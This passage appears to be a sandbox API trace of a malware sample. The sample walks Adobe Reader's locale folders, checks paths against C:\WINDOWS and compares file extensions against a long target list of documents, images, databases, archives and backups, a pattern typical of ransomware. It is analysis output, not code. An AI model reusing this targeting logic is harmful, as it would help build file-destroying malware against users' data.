FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bda0 [0287.016] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0287.016] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0287.016] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0287.016] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0287.017] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.017] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0287.017] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4620f20 [0287.017] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pl-pl") returned 105 [0287.017] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pl-pl\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bda0 [0287.017] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0287.017] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0287.017] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0287.017] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0287.017] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.018] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0287.018] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4620f20 [0287.018] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pt-br") returned 105 [0287.018] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pt-br\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bda0 [0287.019] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0287.019] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0287.019] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0287.019] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0287.019] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.019] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0287.019] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4620f20 [0287.087] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro") returned 105 [0287.087] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bc60 [0287.184] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0287.184] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0287.184] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0287.185] FindClose (in: hFindFile=0x380bc60 | out: hFindFile=0x380bc60) returned 1 [0287.185] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.185] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0287.185] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4620f20 [0287.185] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root") returned 104 [0287.185] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bc60 [0287.185] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0287.185] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0287.185] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0287.185] FindClose (in: hFindFile=0x380bc60 | out: hFindFile=0x380bc60) returned 1 [0287.185] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.185] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0287.185] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4620f20 [0287.185] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ru-ru") returned 105 [0287.186] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ru-ru\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bd60 [0287.186] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.187] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.187] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.187] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.187] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.187] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.187] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.188] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.188] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.188] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0287.188] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0287.188] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0287.513] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0287.513] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0287.514] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0287.514] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0287.514] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0287.515] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0287.515] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0287.516] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0287.517] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0287.517] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0287.518] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0287.519] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0287.520] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0287.520] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0287.520] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0287.521] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0287.522] lstrlenW (lpString="ui-strings.js") returned 13 [0287.522] lstrlenW (lpString=".1cd") returned 4 [0287.522] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0287.522] lstrlenW (lpString=".3ds") returned 4 [0287.522] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0287.522] lstrlenW (lpString=".3fr") returned 4 [0287.522] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0287.522] lstrlenW (lpString=".3g2") returned 4 [0287.522] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0287.522] lstrlenW (lpString=".3gp") returned 4 [0287.522] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0287.522] lstrlenW (lpString=".7z") returned 3 [0287.522] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0287.522] lstrlenW (lpString=".accda") returned 6 [0287.522] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0287.522] lstrlenW (lpString=".accdb") returned 6 [0287.522] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0287.522] lstrlenW (lpString=".accdc") returned 6 [0287.522] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0287.522] lstrlenW (lpString=".accde") returned 6 [0287.523] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0287.523] lstrlenW (lpString=".accdt") returned 6 [0287.523] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0287.523] lstrlenW (lpString=".accdw") returned 6 [0287.523] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0287.523] lstrlenW (lpString=".adb") returned 4 [0287.523] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0287.523] lstrlenW (lpString=".adp") returned 4 [0287.523] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0287.523] lstrlenW (lpString=".ai") returned 3 [0287.523] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0287.523] lstrlenW (lpString=".ai3") returned 4 [0287.523] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0287.523] lstrlenW (lpString=".ai4") returned 4 [0287.523] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0287.523] lstrlenW (lpString=".ai5") returned 4 [0287.523] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0287.523] lstrlenW (lpString=".ai6") returned 4 [0287.523] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0287.523] lstrlenW (lpString=".ai7") returned 4 [0287.523] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0287.523] lstrlenW (lpString=".ai8") returned 4 [0287.523] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0287.523] lstrlenW (lpString=".anim") returned 5 [0287.523] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0287.524] lstrlenW (lpString=".arw") returned 4 [0287.524] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0287.524] lstrlenW (lpString=".as") returned 3 [0287.524] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0287.524] lstrlenW (lpString=".asa") returned 4 [0287.524] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0287.524] lstrlenW (lpString=".asc") returned 4 [0287.524] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0287.524] lstrlenW (lpString=".ascx") returned 5 [0287.524] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0287.524] lstrlenW (lpString=".asm") returned 4 [0287.524] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0287.524] lstrlenW (lpString=".asmx") returned 5 [0287.524] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0287.524] lstrlenW (lpString=".asp") returned 4 [0287.524] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0287.524] lstrlenW (lpString=".aspx") returned 5 [0287.524] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0287.524] lstrlenW (lpString=".asr") returned 4 [0287.524] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0287.524] lstrlenW (lpString=".asx") returned 4 [0287.524] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0287.524] lstrlenW (lpString=".avi") returned 4 [0287.524] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0287.524] lstrlenW (lpString=".avs") returned 4 [0287.525] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0287.525] lstrlenW (lpString=".backup") returned 7 [0287.525] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0287.525] lstrlenW (lpString=".bak") returned 4 [0287.525] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0287.525] lstrlenW (lpString=".bay") returned 4 [0287.525] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0287.525] lstrlenW (lpString=".bd") returned 3 [0287.525] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0287.525] lstrlenW (lpString=".bin") returned 4 [0287.525] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0287.525] lstrlenW (lpString=".bmp") returned 4 [0287.525] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0287.525] lstrlenW (lpString=".bz2") returned 4 [0287.525] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0287.525] lstrlenW (lpString=".c") returned 2 [0287.525] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0287.525] lstrlenW (lpString=".cdr") returned 4 [0287.525] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0287.525] lstrlenW (lpString=".cer") returned 4 [0287.525] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0287.525] lstrlenW (lpString=".cf") returned 3 [0287.525] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0287.525] lstrlenW (lpString=".cfc") returned 4 [0287.525] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0287.526] lstrlenW (lpString=".cfm") returned 4 [0287.526] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0287.526] lstrlenW (lpString=".cfml") returned 5 [0287.526] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0287.526] lstrlenW (lpString=".cfu") returned 4 [0287.526] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0287.526] lstrlenW (lpString=".chm") returned 4 [0287.526] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0287.526] lstrlenW (lpString=".cin") returned 4 [0287.526] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0287.526] lstrlenW (lpString=".class") returned 6 [0287.526] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0287.526] lstrlenW (lpString=".clx") returned 4 [0287.526] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0287.526] lstrlenW (lpString=".config") returned 7 [0287.526] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0287.526] lstrlenW (lpString=".cpp") returned 4 [0287.526] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0287.526] lstrlenW (lpString=".cr2") returned 4 [0287.526] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0287.526] lstrlenW (lpString=".crt") returned 4 [0287.526] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0287.526] lstrlenW (lpString=".crw") returned 4 [0287.526] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0287.526] lstrlenW (lpString=".cs") returned 3 [0287.527] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0287.527] lstrlenW (lpString=".css") returned 4 [0287.527] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0287.527] lstrlenW (lpString=".csv") returned 4 [0287.527] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0287.527] lstrlenW (lpString=".cub") returned 4 [0287.527] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0287.527] lstrlenW (lpString=".dae") returned 4 [0287.527] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0287.527] lstrlenW (lpString=".dat") returned 4 [0287.527] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0287.527] lstrlenW (lpString=".db") returned 3 [0287.527] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0287.527] lstrlenW (lpString=".dbf") returned 4 [0287.527] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0287.527] lstrlenW (lpString=".dbx") returned 4 [0287.527] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0287.527] lstrlenW (lpString=".dc3") returned 4 [0287.527] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0287.527] lstrlenW (lpString=".dcm") returned 4 [0287.527] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0287.527] lstrlenW (lpString=".dcr") returned 4 [0287.527] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0287.527] lstrlenW (lpString=".der") returned 4 [0287.527] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0287.528] lstrlenW (lpString=".dib") returned 4 [0287.528] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0287.528] lstrlenW (lpString=".dic") returned 4 [0287.528] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0287.528] lstrlenW (lpString=".dif") returned 4 [0287.528] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0287.528] lstrlenW (lpString=".divx") returned 5 [0287.528] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0287.528] lstrlenW (lpString=".djvu") returned 5 [0287.528] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0287.528] lstrlenW (lpString=".dng") returned 4 [0287.528] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0287.528] lstrlenW (lpString=".doc") returned 4 [0287.528] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0287.528] lstrlenW (lpString=".docm") returned 5 [0287.528] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0287.528] lstrlenW (lpString=".docx") returned 5 [0287.528] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0287.528] lstrlenW (lpString=".dot") returned 4 [0287.528] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0287.528] lstrlenW (lpString=".dotm") returned 5 [0287.528] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0287.528] lstrlenW (lpString=".dotx") returned 5 [0287.528] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0287.528] lstrlenW (lpString=".dpx") returned 4 [0287.528] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0287.529] lstrlenW (lpString=".dqy") returned 4 [0287.529] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0287.529] lstrlenW (lpString=".dsn") returned 4 [0287.529] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0287.529] lstrlenW (lpString=".dt") returned 3 [0287.529] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0287.529] lstrlenW (lpString=".dtd") returned 4 [0287.529] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0287.529] lstrlenW (lpString=".dwg") returned 4 [0287.529] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0287.529] lstrlenW (lpString=".dwt") returned 4 [0287.529] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0287.529] lstrlenW (lpString=".dx") returned 3 [0287.529] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0287.529] lstrlenW (lpString=".dxf") returned 4 [0287.529] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0287.529] lstrlenW (lpString=".edml") returned 5 [0287.529] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0287.529] lstrlenW (lpString=".efd") returned 4 [0287.529] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0287.529] lstrlenW (lpString=".elf") returned 4 [0287.529] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0287.529] lstrlenW (lpString=".emf") returned 4 [0287.529] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0287.529] lstrlenW (lpString=".emz") returned 4 [0287.529] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0287.530] lstrlenW (lpString=".epf") returned 4 [0287.530] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0287.530] lstrlenW (lpString=".eps") returned 4 [0287.530] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0287.530] lstrlenW (lpString=".epsf") returned 5 [0287.530] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0287.530] lstrlenW (lpString=".epsp") returned 5 [0287.530] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0287.530] lstrlenW (lpString=".erf") returned 4 [0287.530] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0287.530] lstrlenW (lpString=".exr") returned 4 [0287.530] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0287.530] lstrlenW (lpString=".f4v") returned 4 [0287.530] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0287.530] lstrlenW (lpString=".fido") returned 5 [0287.530] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0287.530] lstrlenW (lpString=".flm") returned 4 [0287.530] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0287.530] lstrlenW (lpString=".flv") returned 4 [0287.530] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0287.530] lstrlenW (lpString=".frm") returned 4 [0287.530] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0287.530] lstrlenW (lpString=".fxg") returned 4 [0287.530] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0287.530] lstrlenW (lpString=".geo") returned 4 [0287.530] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0287.531] lstrlenW (lpString=".gif") returned 4 [0287.531] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0287.531] lstrlenW (lpString=".grs") returned 4 [0287.531] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0287.531] lstrlenW (lpString=".gz") returned 3 [0287.531] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0287.531] lstrlenW (lpString=".h") returned 2 [0287.531] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0287.531] lstrlenW (lpString=".hdr") returned 4 [0287.531] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0287.531] lstrlenW (lpString=".hpp") returned 4 [0287.531] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0287.531] lstrlenW (lpString=".hta") returned 4 [0287.531] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0287.531] lstrlenW (lpString=".htc") returned 4 [0287.531] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0287.531] lstrlenW (lpString=".htm") returned 4 [0287.531] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0287.531] lstrlenW (lpString=".html") returned 5 [0287.531] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0287.531] lstrlenW (lpString=".icb") returned 4 [0287.531] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0287.531] lstrlenW (lpString=".ics") returned 4 [0287.531] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0287.531] lstrlenW (lpString=".iff") returned 4 [0287.531] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0287.531] lstrlenW (lpString=".inc") returned 4 [0287.532] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0287.532] lstrlenW (lpString=".indd") returned 5 [0287.532] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0287.532] lstrlenW (lpString=".ini") returned 4 [0287.532] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0287.532] lstrlenW (lpString=".iqy") returned 4 [0287.532] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0287.532] lstrlenW (lpString=".j2c") returned 4 [0287.532] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0287.532] lstrlenW (lpString=".j2k") returned 4 [0287.532] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0287.532] lstrlenW (lpString=".java") returned 5 [0287.532] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0287.532] lstrlenW (lpString=".jp2") returned 4 [0287.532] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0287.532] lstrlenW (lpString=".jpc") returned 4 [0287.532] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0287.532] lstrlenW (lpString=".jpe") returned 4 [0287.532] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0287.532] lstrlenW (lpString=".jpeg") returned 5 [0287.532] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0287.532] lstrlenW (lpString=".jpf") returned 4 [0287.532] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0287.532] lstrlenW (lpString=".jpg") returned 4 [0287.532] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0287.532] lstrlenW (lpString=".jpx") returned 4 [0287.532] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0287.532] lstrlenW (lpString=".js") returned 3 [0287.533] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0287.533] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0287.533] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp") returned 106 [0287.533] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp") returned 1 [0287.533] lstrlenW (lpString="ja-jp") returned 5 [0287.533] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ja-jp") returned -1 [0287.533] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4610f18 [0287.533] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp") returned 106 [0287.533] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp\\*", lpFindFileData=0x3f7df28 | out: 